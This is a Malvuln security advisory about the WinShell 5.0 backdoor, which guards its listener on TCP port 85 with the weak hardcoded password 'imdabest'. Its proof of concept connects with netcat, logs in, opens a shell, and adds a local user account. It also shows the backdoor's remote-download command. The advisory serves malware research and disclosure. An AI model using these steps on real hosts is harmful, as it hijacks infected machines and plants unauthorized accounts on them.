Backdoor.Win32.WinShell.50 Weak Hardcoded Password

`Discovery / credits: Malvuln - malvuln.com (c) 2022  
Original source: https://malvuln.com/advisory/1fd45364073a81ddd707d74ba5d4c121.txt  
Contact: [email protected]  
Media: twitter.com/malvuln  
  
Threat: Backdoor.Win32.WinShell.50  
Vulnerability: Weak Hardcoded Password  
Description: The malware listens on TCP port 85 and requires authentication. However, the password "imdabest" is weak, hardcoded in plaintext in the PE file and appears many times in a database of leaked passwords.  
Type: PE32  
MD5: 1fd45364073a81ddd707d74ba5d4c121  
Vuln ID: MVID-2022-0474  
Dropped files: "sxe32A3.tmp"  
Disclosure: 01/25/2022   
  
Exploit/PoC:  
nc64.exe x.x.x.x 85  
:imdabest  
  
WinShell v5.0 (C)2002 janker.org  
  
? for help  
CMD>?  
  
i Install  
r Remove  
p Path  
b reBoot  
d shutDown  
s Shell  
x eXit  
q Quit  
  
Download:  
CMD>http://.../srv.exe  
  
? for help  
CMD>s  
Microsoft Windows [Version 10.0.16299.309]  
(c) 2017 Microsoft Corporation. All rights reserved.  
  
c:\dump>whoami  
whoami  
desktop-2c3kqho\victim  
  
c:\dump>net user hyp3rlinx 666 /add  
net user hyp3rlinx 666 /add  
The command completed successfully.  
  
  
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